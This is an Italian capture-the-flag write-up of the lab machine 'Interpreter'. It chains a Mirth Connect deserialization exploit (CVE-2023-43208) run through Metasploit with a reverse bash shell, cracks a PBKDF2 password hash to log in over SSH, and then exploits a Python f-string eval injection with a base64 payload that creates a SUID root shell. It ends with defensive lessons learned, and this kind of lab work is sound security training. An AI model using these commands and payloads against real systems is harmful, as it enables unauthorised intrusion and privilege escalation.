Difficoltà: Medium
OS: Linux (Debian 12)
IP: 10.129.5.191
Categorie: CVE, Deserialization, Python Injection, Privilege Escalation


Indice

  1. Panoramica
  2. Ricognizione
  3. Foothold — CVE-2023-43208 (Mirth Connect RCE)
  4. Lateral Movement — Crack hash PBKDF2 e accesso SSH come sedric
  5. Privilege Escalation — Python F-String Injection su notif.py
  6. Lezioni Apprese

Panoramica

La macchina Interpreter simula un ambiente ospedaliero reale che utilizza Mirth Connect, un middleware per l’integrazione di dati sanitari (standard HL7). La catena di attacco si compone di tre fasi principali:

  1. RCE non autenticato tramite una vulnerabilità di deserializzazione XML in Mirth Connect (CVE-2023-43208).
  2. Lateral movement verso un utente con più privilegi, estraendo e craccando un hash PBKDF2-SHA256 dal database interno.
  3. Escalation a root sfruttando una doppia valutazione di f-string Python in un servizio locale che gira come root.

Ricognizione

Porte aperte

443/tcp  — HTTPS (Mirth Connect)
80/tcp   — HTTP
22/tcp   — SSH
3306/tcp — MariaDB (localhost only)
54321/tcp — Servizio locale Python Flask (localhost only)

Mirth Connect è raggiungibile via HTTPS sulla porta 443.


Foothold — CVE-2023-43208 (Mirth Connect RCE)

Cos’è Mirth Connect?

Mirth Connect è un integration engine open source per dati sanitari, usato per trasformare e instradare messaggi HL7 tra sistemi ospedalieri. Espone una REST API su HTTPS.

La vulnerabilità

CVE-2023-43208 è un bypass di una patch incompleta (CVE-2023-37679). Il problema risiede in come Mirth Connect gestisce i dati XML in ingresso.

Flusso tecnico:

  1. Mirth Connect usa la libreria XStream per deserializzare XML in oggetti Java.
  2. Alcuni endpoint API (es. /api/users) non richiedevano autenticazione nella versione 4.4.0.
  3. XStream, per default, può essere manipolato per istanziare classi arbitrarie.
  4. Un attaccante può inviare un payload XML contenente una gadget chain — una sequenza di oggetti Java che, quando deserializzati, eseguono un comando di sistema.

La gadget chain sfrutta:

  • org.apache.commons.collections4.functors.ChainedTransformer
  • org.apache.commons.collections4.functors.InvokerTransformer
  • java.lang.Runtime.exec() per eseguire comandi shell

Exploitation con Metasploit

Il modulo MSF multi/http/mirth_connect_cve_2023_43208 automatizza l’attacco. Il parametro critico è FETCH_COMMAND wget, perché il target (Debian) ha wget ma non curl.

msf6 > use exploit/multi/http/mirth_connect_cve_2023_43208
msf6 > set RHOSTS 10.129.5.191
msf6 > set RPORT 443
msf6 > set TARGETURI https://10.129.5.191
msf6 > set FETCH_COMMAND wget
msf6 > set LHOST tun0
msf6 > set payload cmd/unix/reverse_bash
msf6 > run

Perché cmd/unix/reverse_bash e non meterpreter?
I payload meterpreter staged (/) richiedono un secondo handshake TCP per scaricare lo “stage” (~3MB). Il target non riesce ad accettarlo. Il payload cmd/unix/reverse_bash è una semplice reverse shell bash che non richiede download aggiuntivi, è più affidabile in ambienti con filtri di rete.

Risultato: shell come utente mirth.


Lateral Movement — Crack hash PBKDF2 e accesso SSH come sedric

Trovare le credenziali del database

Una volta dentro come mirth, il file di configurazione di Mirth Connect rivela le credenziali del database interno:

cat /usr/local/mirthconnect/conf/mirth.properties
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!

Estrarre l’hash dal database

mysql -u mirthdb -p'MirthPass123!' -h localhost mc_bdd_prod
SELECT * FROM PERSON;
-- username: sedric

SELECT * FROM PERSON_PASSWORD;
-- PASSWORD: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

Analisi dell’hash

L’hash è in base64 e rappresenta 40 byte concatenati:

Parte Dimensione Descrizione
Salt 8 byte Previene attacchi rainbow table
Derived Key 32 byte Output reale dell’hashing

Algoritmo: PBKDF2-HMAC-SHA256 con 600.000 iterazioni.

Questo significa che per ogni tentativo di password, il computer deve eseguire 600.000 operazioni SHA-256. È computazionalmente costoso per proteggere password deboli… ma non abbastanza se la password è in rockyou.txt.

Convertire per Hashcat

python3 -c "
import base64
data = base64.b64decode('u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==')
salt = base64.b64encode(data[:8]).decode().rstrip('=')
dk = base64.b64encode(data[8:]).decode().rstrip('=')
print(f'sha256:600000:{salt}:{dk}')
" > hash_hashcat.txt

hashcat -m 10900 hash_hashcat.txt /usr/share/wordlists/rockyou.txt

Password trovata: snowflake1

Lezione chiave: Anche il miglior algoritmo di hashing (PBKDF2 con 600k iterazioni) non può proteggere una password debole presente in un dizionario comune. La scelta della password rimane il fattore umano più critico.

Accesso SSH

ssh [email protected]
# password: snowflake1

cat ~/user.txt

Privilege Escalation — Python F-String Injection su notif.py

Enumerazione

LinPEAS e l’analisi manuale rivelano:

  • Un servizio root (notif.service) gira su 127.0.0.1:54321.
  • Il file /usr/local/bin/notif.py è leggibile da sedric.
cat /usr/local/bin/notif.py

Analisi del codice vulnerabile

Il server Flask espone un endpoint /addPatient che accetta XML. La funzione critica è template():

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"

    year_of_birth = int(dob.split('/')[-1])
    
    # STEP 1: Crea un template con una f-string normale
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    
    # STEP 2: VULNERABILE — valuta il template come un'altra f-string
    return eval(f"f'''{template}'''")

Perché è vulnerabile — Double Evaluation

STEP 1 — La prima f-string sostituisce direttamente le variabili nel testo. Se sender contiene {codice_python}, quel testo entra letteralmente nel template.

STEP 2 — La stringa risultante viene passata a eval() come un’altra f-string. In Python, tutto ciò che sta dentro {} in una f-string viene eseguito come codice. Quindi il {codice_python} iniettato al passo 1 viene eseguito qui con i privilegi di root.

Esempio semplificato:

# Input dell'attaccante nel campo sender:
sender = "{__import__('os').system('id')}"

# Dopo STEP 1, template diventa:
# "...received from {__import__('os').system('id')} at ..."

# STEP 2: eval esegue quella stringa come f-string
# → __import__('os').system('id') viene ESEGUITO come root

Il filtro regex e come bypassarlo

Il regex ^[a-zA-Z0-9._'"(){}=+/]+$ blocca:

  • Spazi (impedisce comandi tipo id con argomenti)
  • Virgole
  • Parentesi quadre []
  • Punto e virgola

Ma permette:

  • Parentesi tonde ()
  • Virgolette "
  • Slash /
  • Parentesi graffe {} — necessarie per l’injection!

Bypass degli spazi: Siccome i comandi shell richiedono spazi (es. install -o root -m 4755 /bin/bash /tmp/.sh), usiamo Base64 per codificare il comando e base64.b64decode() per decodificarlo a runtime. Nessuno spazio nel payload, solo caratteri permessi dal regex.

Crafting del payload

Step 1 — Codifica il comando:

echo -n "install -o root -m 4755 /bin/bash /tmp/.sh" | base64
# aW5zdGFsbCAtbyByb290IC1tIDQ3NTUgL2Jpbi9iYXNoIC90bXAvLnNo

Il comando install -o root -m 4755 /bin/bash /tmp/.sh copia /bin/bash in /tmp/.sh con il bit SUID impostato. Un binario SUID eseguito con -p mantiene i privilegi del proprietario (root).

Step 2 — Costruisci il payload XML:

cat > /tmp/payload.xml << 'EOF'
<?xml version="1.0"?>
<patient>
  <firstname>John</firstname>
  <lastname>Doe</lastname>
  <sender_app>{__import__("os").popen(__import__("base64").b64decode("aW5zdGFsbCAtbyByb290IC1tIDQ3NTUgL2Jpbi9iYXNoIC90bXAvLnNo").decode()).read()}</sender_app>
  <timestamp>2026/02/23</timestamp>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>
EOF

Step 3 — Invia il payload:

wget -q -O- \
  --post-file=/tmp/payload.xml \
  --header="Content-Type: application/xml" \
  http://localhost:54321/addPatient

Step 4 — Esegui la bash SUID:

ls -la /tmp/.sh      # Verifica che esista con SUID
/tmp/.sh -p          # -p mantiene i privilegi EUID=root
whoami               # root
cat /root/root.txt   # Flag!

Lezioni Apprese

1. Deserializzazione non sicura (CVE-2023-43208)

Non fidarsi mai di dati XML/JSON provenienti dall’esterno senza una whitelist rigorosa di classi deserializzabili. XStream e simili librerie devono essere configurate con allowlist esplicite. L’autenticazione non deve mai essere bypassabile per endpoint sensibili.

2. Credenziali in chiaro nei file di configurazione

Le password del database in mirth.properties erano in chiaro e leggibili. Usare segreti gestiti da vault (HashiCorp Vault, AWS Secrets Manager) o almeno variabili d’ambiente con permessi restrittivi.

3. Password deboli anche con hashing forte

PBKDF2 con 600.000 iterazioni è un ottimo algoritmo, ma snowflake1 è in rockyou.txt. L’algoritmo non può compensare una scelta di password debole. Imporre policy di complessità e usare un password manager.

4. eval() è pericoloso — mai usarlo su input utente

La doppia valutazione di f-string è un pattern particolarmente insidioso. La regola generale: mai usare eval(), exec(), o costrutti simili su dati controllati dall’utente, anche con filtri regex. I filtri sono quasi sempre bypassabili. Usare template engine sicuri (Jinja2 con autoescape, ecc.).

5. Il principio del minimo privilegio

notif.py girava come root senza necessità. Un servizio di notifica non ha bisogno di privilegi root. Eseguire i servizi con utenti dedicati a basso privilegio.


Writeup by: Maccioni Andrea
Data: Febbraio 2026